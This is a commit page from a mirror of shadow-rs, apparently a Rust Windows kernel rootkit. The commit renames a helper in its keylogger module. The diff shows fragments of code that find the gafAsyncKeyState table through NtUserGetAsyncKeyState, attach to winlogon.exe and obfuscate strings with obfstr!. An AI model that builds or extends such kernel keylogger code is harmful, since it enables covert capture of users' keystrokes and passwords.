aljaz/shadow-rs
1
1
Fork 0
mirror of https://github.com/joaoviictorti/shadow-rs.git synced 2026-01-02 07:04:28 +01:00
Code Issues Packages Projects Releases Wiki Activity

Renaming the gafAsyncKeyState recovery function

Browse Source
This commit is contained in:
João
2024-07-26 19:51:27 -03:00
parent 75558980cc
commit b9075399c0
2 changed files with 3 additions and 3 deletions
Download Patch File Download Diff File Expand all files Collapse all files

4
driver/src/keylogger/mod.rs
View File

@@ -8,7 +8,7 @@ use {
get_ks_byte, get_ks_down_bit,
includes::MmCopyVirtualMemory,
is_key_down, set_key_down,
utils::{get_function_address_asynckey, get_module_base_address, get_process_by_name},
utils::{get_address_asynckey, get_module_base_address, get_process_by_name},
},
wdk_sys::{
ntddk::{
@@ -181,7 +181,7 @@ unsafe fn get_gafasynckeystate_address() -> Option<PVOID> {
Some(addr) => addr,
None => return None
};
let function_address = match get_function_address_asynckey(obfstr!("NtUserGetAsyncKeyState"), module_address) {
let function_address = match get_address_asynckey(obfstr!("NtUserGetAsyncKeyState"), module_address) {
Some(addr) => addr,
None => return None,
};

2
driver/src/utils/mod.rs
View File

@@ -166,7 +166,7 @@ pub unsafe fn get_function_address(function_name: &str, dll_base: *mut c_void) -
/// # Returns
/// - `Option<*mut c_void>`: An optional pointer to the function's address, or None if the function is not found.
///
pub unsafe fn get_function_address_asynckey(name: &str, dll_base: *mut c_void) -> Option<*mut c_void> {
pub unsafe fn get_address_asynckey(name: &str, dll_base: *mut c_void) -> Option<*mut c_void> {
let mut apc_state: KAPC_STATE = core::mem::zeroed();
let pid = match get_process_by_name(obfstr!("winlogon.exe")) {
Some(p) => p,